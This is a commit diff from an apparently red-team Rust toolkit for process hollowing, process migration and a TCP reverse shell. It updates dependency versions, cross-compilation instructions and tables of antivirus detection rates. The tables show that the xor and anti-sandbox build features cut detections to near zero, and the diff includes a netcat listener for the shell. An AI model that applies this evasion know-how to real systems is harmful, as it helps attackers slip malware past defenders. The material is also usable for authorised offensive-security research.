mirror of
https://github.com/kmanc/remote_code_oxidation
synced 2026-06-08 15:21:46 +00:00
main merge
This commit is contained in:
koins
@@ -1,6 +0,0 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "hash_params",
|
||||
"message": "1.0.0",
|
||||
"color": "blue"
|
||||
}
|
||||
@@ -1,6 +0,0 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "process_hollowing",
|
||||
"message": "1.7.1",
|
||||
"color": "blue"
|
||||
}
|
||||
@@ -1,6 +0,0 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "process_migration",
|
||||
"message": "1.9.1",
|
||||
"color": "blue"
|
||||
}
|
||||
@@ -1,6 +0,0 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "tcp_reverse_shell",
|
||||
"message": "1.3.1",
|
||||
"color": "blue"
|
||||
}
|
||||
@@ -1,6 +0,0 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"label": "xor_params",
|
||||
"message": "1.2.0",
|
||||
"color": "blue"
|
||||
}
|
||||
+2
-1
@@ -4,4 +4,5 @@ target/
|
||||
|
||||
|
||||
# Files
|
||||
*.txt
|
||||
*.txt
|
||||
.DS_Store
|
||||
|
||||
Generated
+27
-27
@@ -109,9 +109,9 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40sfd"
|
||||
|
||||
[[package]]
|
||||
name = "getrandom"
|
||||
version = "0.2.7"
|
||||
version = "0.2.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4eb1a864a501629691edf6c15a593b7a51eebaa1e8468e9ddc623de7c9b58ec6"
|
||||
checksum = "c05aeb6a22b8f62540c194aac980f2115af067bfe15a0734d7277a768d396b31"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"libc",
|
||||
@@ -120,7 +120,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "hash_params"
|
||||
version = "1.0.0"
|
||||
version = "1.0.1"
|
||||
dependencies = [
|
||||
"rco_config",
|
||||
"rco_utils",
|
||||
@@ -128,9 +128,9 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.132"
|
||||
version = "0.2.137"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8371e4e5341c3a96db127eb2465ac681ced4c433e01dd0e938adbef26ba93ba5"
|
||||
checksum = "fc7fcc620a3bff7cdd7a365be3376c97191aeaccc2a603e600951e452615bf89"
|
||||
|
||||
[[package]]
|
||||
name = "log"
|
||||
@@ -219,13 +219,13 @@ checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
|
||||
|
||||
[[package]]
|
||||
name = "ppv-lite86"
|
||||
version = "0.2.16"
|
||||
version = "0.2.17"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872"
|
||||
checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de"
|
||||
|
||||
[[package]]
|
||||
name = "process_hollowing"
|
||||
version = "1.7.1"
|
||||
version = "1.10.0"
|
||||
dependencies = [
|
||||
"nix",
|
||||
"rco_config",
|
||||
@@ -235,7 +235,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "process_migration"
|
||||
version = "1.9.1"
|
||||
version = "1.11.0"
|
||||
dependencies = [
|
||||
"nix",
|
||||
"rco_config",
|
||||
@@ -279,7 +279,7 @@ version = "0.2.0"
|
||||
|
||||
[[package]]
|
||||
name = "rco_utils"
|
||||
version = "1.0.1"
|
||||
version = "1.2.0"
|
||||
dependencies = [
|
||||
"rand",
|
||||
"windows",
|
||||
@@ -370,7 +370,7 @@ checksum = "20518fe4a4c9acf048008599e464deb21beeae3d3578418951a189c235a7a9a8"
|
||||
|
||||
[[package]]
|
||||
name = "tcp_reverse_shell"
|
||||
version = "1.3.1"
|
||||
version = "1.4.1"
|
||||
dependencies = [
|
||||
"rco_config",
|
||||
"rco_utils",
|
||||
@@ -385,9 +385,9 @@ checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
|
||||
|
||||
[[package]]
|
||||
name = "windows"
|
||||
version = "0.40.0"
|
||||
version = "0.43.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e30acc718a52fb130fec72b1cb5f55ffeeec9253e1b785e94db222178a6acaa1"
|
||||
checksum = "04662ed0e3e5630dfa9b26e4cb823b817f1a9addda855d973a9458c236556244"
|
||||
dependencies = [
|
||||
"windows_aarch64_gnullvm",
|
||||
"windows_aarch64_msvc",
|
||||
@@ -400,45 +400,45 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_gnullvm"
|
||||
version = "0.40.0"
|
||||
version = "0.42.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f3caa4a1a16561b714323ca6b0817403738583033a6a92e04c5d10d4ba37ca10"
|
||||
checksum = "41d2aa71f6f0cbe00ae5167d90ef3cfe66527d6f613ca78ac8024c3ccab9a19e"
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_msvc"
|
||||
version = "0.40.0"
|
||||
version = "0.42.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "328973c62dfcc50fb1aaa8e7100676e0b642fe56bac6bafff3327902db843ab4"
|
||||
checksum = "dd0f252f5a35cac83d6311b2e795981f5ee6e67eb1f9a7f64eb4500fbc4dcdb4"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_gnu"
|
||||
version = "0.40.0"
|
||||
version = "0.42.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "aa5b09fad70f0df85dea2ac2a525537e415e2bf63ee31cf9b8e263645ee9f3c1"
|
||||
checksum = "fbeae19f6716841636c28d695375df17562ca208b2b7d0dc47635a50ae6c5de7"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_msvc"
|
||||
version = "0.40.0"
|
||||
version = "0.42.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2a1ad4031c1a98491fa195d8d43d7489cb749f135f2e5c4eed58da094bd0d876"
|
||||
checksum = "84c12f65daa39dd2babe6e442988fc329d6243fdce47d7d2d155b8d874862246"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnu"
|
||||
version = "0.40.0"
|
||||
version = "0.42.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "520ff37edd72da8064b49d2281182898e17f0688ae9f4070bca27e4b5c162ac7"
|
||||
checksum = "bf7b1b21b5362cbc318f686150e5bcea75ecedc74dd157d874d754a2ca44b0ed"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnullvm"
|
||||
version = "0.40.0"
|
||||
version = "0.42.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "046e5b82215102c44fd75f488f1b9158973d02aa34d06ed85c23d6f5520a2853"
|
||||
checksum = "09d525d2ba30eeb3297665bd434a54297e4170c7f1a44cad4ef58095b4cd2028"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_msvc"
|
||||
version = "0.40.0"
|
||||
version = "0.42.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2a0c9c6df55dd1bfa76e131cef44bdd8ec9c819ef3611f04dfe453fd5bfeda28"
|
||||
checksum = "f40009d85759725a34da6d89a94e63d7bdc50a862acf0dbc7c8e488f1edcb6f5"
|
||||
|
||||
[[package]]
|
||||
name = "xor_params"
|
||||
|
||||
@@ -11,4 +11,3 @@ include:
|
||||
- process_migration.md
|
||||
- tcp_reverse_shell.md
|
||||
- xor_params.md
|
||||
- assets/js/copy_code.js
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 36 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 35 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 36 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 32 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 32 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 38 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 39 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 36 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 37 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 37 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 36 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 35 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 35 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 36 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 39 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 38 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 38 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 38 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 37 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 37 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 37 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 37 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 36 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 35 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 32 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 36 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
+1
-3
@@ -4,9 +4,7 @@ title: "Hash params"
|
||||
|
||||
# RCO: Hash Params
|
||||
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/hash_params)
|
||||
|
||||
[](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/hash_params.gif)
|
||||
[](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/hash_params.gif)
|
||||
|
||||
|
||||
## How it works
|
||||
|
||||
+121
-17
@@ -15,17 +15,21 @@ RCO tools can be compiled on either Linux or Windows systems to provide its user
|
||||
|
||||
|
||||
## Tools list
|
||||
[](https://kmanc.github.io/remote_code_oxidation/hash_params.html)
|
||||
|
||||
[](https://kmanc.github.io/remote_code_oxidation/process_hollowing.html)
|
||||
[](https://kmanc.github.io/remote_code_oxidation/process_hollowing.html)
|
||||
|
||||
[](https://kmanc.github.io/remote_code_oxidation/process_migration.html)
|
||||
[](https://kmanc.github.io/remote_code_oxidation/process_migration.html)
|
||||
|
||||
[](https://kmanc.github.io/remote_code_oxidation/tcp_reverse_shell.html)
|
||||
[](https://kmanc.github.io/remote_code_oxidation/tcp_reverse_shell.html)
|
||||
|
||||
[](https://kmanc.github.io/remote_code_oxidation/xor_params.html)
|
||||
|
||||
## Setup
|
||||
## Helper tools
|
||||
|
||||
1. [hash_params](https://kmanc.github.io/remote_code_oxidation/hash_params.html)
|
||||
|
||||
2. [xor_params](https://kmanc.github.io/remote_code_oxidation/xor_params.html)
|
||||
|
||||
## Building the executables
|
||||
|
||||
Clone the repo
|
||||
```commandline
|
||||
@@ -33,7 +37,11 @@ git clone https://github.com/kmanc/remote_code_oxidation.git
|
||||
```
|
||||
|
||||
|
||||
### From Linux host for Linux target
|
||||
### From Linux
|
||||
---
|
||||
|
||||
##### For Linux
|
||||
---
|
||||
|
||||
Install Rust
|
||||
```commandline
|
||||
@@ -47,31 +55,127 @@ sudo apt install build-essential
|
||||
|
||||
Build!
|
||||
```commandline
|
||||
cargo build [-p package_name] [--features [xor][antisand]] [--release]
|
||||
cargo build [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release]
|
||||
```
|
||||
|
||||
|
||||
### From Linux host for Windows target
|
||||
##### For Windows
|
||||
---
|
||||
|
||||
Install Rust
|
||||
```commandline
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
|
||||
```
|
||||
|
||||
Add dependencies for cross-compiling
|
||||
Add dependencies for cross-compiling (1)
|
||||
```commandline
|
||||
rustup target add x86_64-pc-windows-gnu
|
||||
```
|
||||
|
||||
Add dependencies for cross-compiling (2)
|
||||
```commandline
|
||||
sudo apt install mingw-w64
|
||||
rustup target add x86_64-pc-windows-gnu
|
||||
```
|
||||
|
||||
Build!
|
||||
```commandline
|
||||
cargo build --target x86_64-pc-windows-gnu [-p package_name] [--features [xor][antisand]] [--release]
|
||||
cargo build --target x86_64-pc-windows-gnu [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release]
|
||||
```
|
||||
|
||||
|
||||
### From Windows host for Linux target
|
||||
#### Todo
|
||||
### From Mac
|
||||
---
|
||||
|
||||
### From Windows host for Windows target
|
||||
#### Todo
|
||||
##### For Linux
|
||||
---
|
||||
|
||||
Install Rust
|
||||
```
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
|
||||
```
|
||||
|
||||
Add dependencies for cross-compiling (1)
|
||||
```commandline
|
||||
rustup target add x86_64-unknown-linux-musl
|
||||
```
|
||||
|
||||
Add dependencies for cross-compiling (2)
|
||||
```commandline
|
||||
brew install filosottile/musl-cross/musl-cross
|
||||
```
|
||||
|
||||
Configure linker for cross-compiling
|
||||
```commandline
|
||||
Create a file in your home directory's .cargo directory called config.toml with the following contents
|
||||
[target.x86_64-unknown-linux-musl]
|
||||
linker = "x86_64-linux-musl-gcc"
|
||||
```
|
||||
|
||||
Build!
|
||||
```commandline
|
||||
cargo build --target x86_64-unknown-linux-musl [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release]
|
||||
```
|
||||
|
||||
##### For Windows
|
||||
---
|
||||
|
||||
Install Rust
|
||||
```
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
|
||||
```
|
||||
|
||||
Add dependencies for cross-compiling (1)
|
||||
```commandline
|
||||
rustup target add x86_64-pc-windows-gnu
|
||||
```
|
||||
|
||||
Add dependencies for cross-compiling (2)
|
||||
```commandline
|
||||
brew install mingw-w64
|
||||
```
|
||||
|
||||
Build!
|
||||
```commandline
|
||||
cargo build --target x86_64-pc-windows-gnu [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release]
|
||||
```
|
||||
|
||||
|
||||
### From Windows
|
||||
---
|
||||
|
||||
##### For Linux
|
||||
---
|
||||
|
||||
Install Rust
|
||||
```
|
||||
Download and run the installer from the Rust website
|
||||
```
|
||||
|
||||
Add dependencies for cross-compiling
|
||||
```commandline
|
||||
rustup target add x86_64-pc-windows-gnu
|
||||
```
|
||||
|
||||
Configure linker for cross-compiling
|
||||
```commandline
|
||||
Create a file in your home directory's .cargo directory called config.toml with the following contents
|
||||
[target.x86_64-unknown-linux-musl]
|
||||
linker = "rust-lld"
|
||||
```
|
||||
|
||||
Build!
|
||||
```commandline
|
||||
cargo build --target x86_64-unknown-linux-musl [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release]
|
||||
```
|
||||
|
||||
##### For Windows
|
||||
---
|
||||
|
||||
Install Rust
|
||||
```
|
||||
Download and run the installer from the Rust website
|
||||
```
|
||||
|
||||
Build!
|
||||
```commandline
|
||||
cargo build [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release]
|
||||
```
|
||||
|
||||
+13
-13
@@ -5,14 +5,14 @@ datatable: true
|
||||
|
||||
# RCO: Process Hollowing
|
||||
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/process_hollowing)
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/process_hollowing)
|
||||
|
||||
<div class="datatable-begin"></div>
|
||||
|
||||
Target OS | Demo
|
||||
--------- | ----
|
||||
Linux | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/process_hollowing.gif)
|
||||
Windows | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/process_hollowing_windows.gif)
|
||||
Linux | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/process_hollowing.gif)
|
||||
Windows | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/process_hollowing_windows.gif)
|
||||
|
||||
<div class="datatable-end"></div>
|
||||
|
||||
@@ -52,15 +52,15 @@ nc -nlvp 4444
|
||||
|
||||
Target OS | Features | Detections | Screenshot
|
||||
--------- | ----------------------------- | -------------------------------------- | ----------
|
||||
Linux | None | [7 / 40](https://kleenscan.com/scan_result/1177abafe77dc580337ec6294c68bdc4873ceb36a4eeac057fd0673c3ae50e7f) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing.png)
|
||||
Linux | `xor` | [0 / 40](https://kleenscan.com/scan_result/8a0268ca750a14fc93f40f6b1864f13ce94318c4c4a7ecc49dfeb332b9c9d860) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_xor.png)
|
||||
Windows | None | [12 / 40](https://kleenscan.com/scan_result/dd7858b48235bc782383fa5a929125369c7918d3c119a9196b0fdab791624763) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_exe.png)
|
||||
Windows | `antisand` | [12 / 40](https://kleenscan.com/scan_result/dc73a322924b772b90957aaffe8d2735acd6d6049e0607a1befada2bc5aa86f3) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_antisand_exe.png)
|
||||
Windows | `antistring` | [12 / 40](https://kleenscan.com/scan_result/1505ac5f33afe16a79796045d80c6c55617944c86396411487f1cbd934e875fb) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_antistring_exe.png)
|
||||
Windows | `antisand,antistring` | [12 / 40](https://kleenscan.com/scan_result/177242f39b392107e4953a8cb717afbc6f912daa5bd9ec8d71a959834942db8d) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_antisand_antistring_exe.png)
|
||||
Windows | `xor` | [6 / 40](https://kleenscan.com/scan_result/455d775c517cf26a6e83a42b3eae7982364d8a8174127eca377094c05e0dd948) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_xor_exe.png)
|
||||
Windows | `antistring,xor` | [1 / 40](https://kleenscan.com/scan_result/e6214cb0175737d1e3bba8bafbaa17d5aa575f613dab718a6d35dd46c7af8767) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_antistring_xor_exe.png)
|
||||
Windows | `antisand,xor` | [0 / 40](https://kleenscan.com/scan_result/de899245ec6a258d741b6243d18cf10fae5e6a1fe344ab3d02f17899a67d2bb7) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_antisand_xor_exe.png)
|
||||
Windows | `antisand,antistring,xor` | [0 / 40](https://kleenscan.com/scan_result/49f53e2e15b86d9e5425d684e9ab964289d2d96fef8ca61ba927e3826ebd0392) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_antisand_antistring_xor_exe.png)
|
||||
Linux | None | [7 / 40](https://kleenscan.com/scan_result/a6de6fa00c7b8c0d3bb1fbd1f207509987610fd7037bd3ab7818c12030d6c266) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/linux/hollowing.png)
|
||||
Linux | `xor` | [1 / 40](https://kleenscan.com/scan_result/fd3affec1eaed16e9d6077e05f3807897a0994c33d3067ba53cdb907690b70e6) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/linux/hollowing_xor.png)
|
||||
Windows | None | [12 / 40](https://kleenscan.com/scan_result/74e2475b5b5e881d3b31c5d3bac5e36f4c8bfa33235eb810706c33f338dbeb7c) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing.png)
|
||||
Windows | `antisand` | [11 / 40](https://kleenscan.com/scan_result/1ce970448fa81ba854643bf4663afef87b2bdb7aa05ceda720ef82a70f8d932a) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing_antisand.png)
|
||||
Windows | `antisand,antistring` | [11 / 40](https://kleenscan.com/scan_result/643bf03eb63541f6854d2898d2c809c368a14f82b57b9f85f7ec75f216aceef9) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing_antisand_antistring.png)
|
||||
Windows | `antistring` | [11 / 40](https://kleenscan.com/scan_result/6a5599f63c58f1d3e09a7c11add05ab3abb2226682c8290d1b0dc445ac8279bc) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing_antistring.png)
|
||||
Windows | `antistring,xor` | [1 / 40](https://kleenscan.com/scan_result/08572b59b640b6fea8a5f164d17056c48d4252a43a6a336e5091f024e3d25a4b) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing_antistring_xor.png)
|
||||
Windows | `xor` | [1 / 40](https://kleenscan.com/scan_result/fd3affec1eaed16e9d6077e05f3807897a0994c33d3067ba53cdb907690b70e6) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing_xor.png)
|
||||
Windows | `antisand,xor` | [0 / 40](https://kleenscan.com/scan_result/a7baee8c968a997f48257e8e67d197f92dfd52f1281a65e2a5557f654adb33f8) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing_antisand_xor.png)
|
||||
Windows | `antisand,antistring,xor` | [0 / 40](https://kleenscan.com/scan_result/b2fb0120a966d36e2158fad5867a4caed0cea52db00d87244f1122e1f380122e) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing_antisand_antistring_xor.png)
|
||||
|
||||
<div class="datatable-end"></div>
|
||||
|
||||
+13
-13
@@ -5,14 +5,14 @@ datatable: true
|
||||
|
||||
# RCO: Process Migration
|
||||
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/process_migration)
|
||||
[](https://github.com/kmanc/remote_code_oxidation/tree/master/process_migration)
|
||||
|
||||
<div class="datatable-begin"></div>
|
||||
|
||||
Target OS | Demo
|
||||
--------- | ----
|
||||
Linux | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/process_migration.gif)
|
||||
Windows | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/process_migration_windows.gif)
|
||||
Linux | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/process_migration.gif)
|
||||
Windows | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/process_migration_windows.gif)
|
||||
|
||||
<div class="datatable-end"></div>
|
||||
|
||||
@@ -54,15 +54,15 @@ nc -nlvp 4444
|
||||
|
||||
Target OS | Features | Detections | Screenshot
|
||||
--------- | ----------------------------- | -------------------------------------- | ----------
|
||||
Linux | None | [7 / 40](https://kleenscan.com/scan_result/5d88b167a6fdf674a0a81514e37f171a4d0eb63c0b063dec1dd02a5d9b63d4fb) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration.png)
|
||||
Linux | `xor` | [0 / 40](https://kleenscan.com/scan_result/5568475e28d65306af33f75df28e215e7024daa922241fbd9c1e9205cd27a96d) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_xor.png)
|
||||
Windows | None | [12 / 40](https://kleenscan.com/scan_result/ebebddfa24b6d95c65900003629914cbcadf09fddcd9a70db614b9f8e9f5fc42) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_exe.png)
|
||||
Windows | `antisand` | [12 / 40](https://kleenscan.com/scan_result/dc73a322924b772b90957aaffe8d2735acd6d6049e0607a1befada2bc5aa86f3) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_antisand_exe.png)
|
||||
Windows | `antistring` | [12 / 40](https://kleenscan.com/scan_result/7200bae53ce50bd8b0f3a528026ee72d71b47615235cf96384fe0752a1ff6145) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_antistring_exe.png)
|
||||
Windows | `antisand,antistring` | [12 / 40](https://kleenscan.com/scan_result/e702816970ee629f718e6dbec58a129b03742b0ac7644bc3de942d8368e7252b) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_antisand_antistring_exe.png)
|
||||
Windows | `xor` | [1 / 40](https://kleenscan.com/scan_result/8b3feb5f4db1b06a9fd33a9597b62d22847f518f607d7f049579b87b44ce8fea) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_xor_exe.png)
|
||||
Windows | `antistring,xor` | [1 / 40](https://kleenscan.com/scan_result/f580330422109325f3c83fd1fa51a966798cb173d0edca5c1b4c310a2c95c082) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_antistring_xor_exe.png)
|
||||
Windows | `antisand,xor` | [0 / 40](https://kleenscan.com/scan_result/19a7640ebedb91c375aeebf9d576ea005260610ca0eb23621413dc058a8ff067) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_antisand_xor_exe.png)
|
||||
Windows | `antisand,antistring,xor` | [0 / 40](https://kleenscan.com/scan_result/1de23cfca021214907bb51174df2b8d69d2fe45cb6ebc903c1e3328bb958678f) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_antisand_antistring_xor_exe.png)
|
||||
Linux | None | [6 / 40](https://kleenscan.com/scan_result/6dac826ee10612cecc1dec4043f590638a2287416904518d38c8347d55bda054) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/linux/migration.png)
|
||||
Linux | `xor` | [0 / 40](https://kleenscan.com/scan_result/22551c73a19a51c251c8a3d95cd226bafad298db08bd0ec726591e86ef383ded) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/linux/migration_xor.png)
|
||||
Windows | None | [11 / 40](https://kleenscan.com/scan_result/53ed56235d4d13d7e64fb567e4033a6e72743a0fc6bf7be3fc6af2c538170cf7) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration.png)
|
||||
Windows | `antisand` | [11 / 40](https://kleenscan.com/scan_result/65a24b211b0f9c7012c6deebb0e46dab75314a5c7422a262f77c64a196599c3f) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration_antisand.png)
|
||||
Windows | `antisand,antistring` | [11 / 40](https://kleenscan.com/scan_result/28c7306b456435e6794752ad0965ad62c2c330bfcf99c8026c425ca6188f3b0c) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration_antistring.png)
|
||||
Windows | `antistring` | [11 / 40](https://kleenscan.com/scan_result/838c5b612c0419346395df55dfcd6c9278228e1003be78734bcf2210244d627d) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration_antistring.png)
|
||||
Windows | `antistring,xor` | [1 / 40](https://kleenscan.com/scan_result/9466c0bbfacb8f7ebc8e92b50947bdf836cc2b4adeed10ed1d92040c9366f555) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration_antistring_xor.png)
|
||||
Windows | `xor` | [1 / 40](https://kleenscan.com/scan_result/b65915b1a318d18c48195aa11fafd26937deb40c7fd60f123e447c279d9e9010) | [](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration_xor.png)
|
||||
